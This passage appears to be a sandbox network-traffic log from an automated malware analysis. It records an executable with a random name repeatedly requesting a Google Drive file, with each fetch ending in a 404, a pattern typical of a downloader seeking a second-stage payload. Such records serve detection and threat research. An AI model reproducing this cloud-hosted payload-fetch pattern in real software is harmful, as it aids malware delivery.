2025-01-10 14:34:11 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:11 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-K_xtmXyFA1BuaPieJEG-eQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49769	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:11 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:34:12 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4owAQ-rszhPRwGVnM8A0PHGiS_Wsxrq_Fg_ROtqV0ttHRoZRbUHzeLJRoGMtMwRS3w Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:11 GMT Content-Security-Policy: script-src 'nonce-gZFSwUHLrUXlEHG4bMp8jA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:34:12 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 52 48 64 59 73 73 5f 48 31 62 38 37 62 59 63 56 71 58 41 56 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9RHdYss_H1b87bYcVqXAVA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49770	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:22 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:34:22 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:22 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-bqzhcNfZNjYP9m0bB2gk2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49771	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:23 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:34:23 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC56mYfJx7SXF7l10xCPbmiRpR_TcfO8qEGS9TjRAycG4fby3BcR9NAJkDYTbWEOI18y Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:23 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-M1v3c6y7Ku6SLrIGidpNMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:34:23 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 71 58 67 37 6b 2d 78 75 50 30 2d 4c 45 57 34 69 6d 7a 41 4b 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5qXg7k-xuP0-LEW4imzAKg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49772	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:33 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:34:34 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:34 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Rp3Qo15Yqz2H6IOxMRJnwA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49773	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:34 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:34:34 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6b4nxUtM48yAR1ZBuO4biwPKd3tdXouRKAbMVj5U55tuVtehXX0n9i9EMGa5n3JYYjCIQYP2s Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:34 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-WfPEWujkleLhr6wVvKm7zg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:34:34 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 4a 6a 58 4c 55 7a 5f 6f 32 6e 55 5f 4c 6f 6b 35 7a 47 48 57 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-JjXLUz_o2nU_Lok5zGHWQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49774	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:45 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:34:45 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:45 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-CrfWIZ1Qj6mqBzh92Z8EqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49775	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:45 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:34:45 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6rviVyHLoy3-nG-CuXrfbQ6P8mnMuGlGZlbHpw-j6LDAFi7V9gZTiMcmzg9jazfgSibDpSIBE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:45 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-1oCRabKA1pxrLDpkYjV2mA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:34:45 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 66 46 73 48 34 56 4d 36 49 56 47 69 69 5f 33 75 32 4e 43 7a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9fFsH4VM6IVGii_3u2NCzw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49776	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:56 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
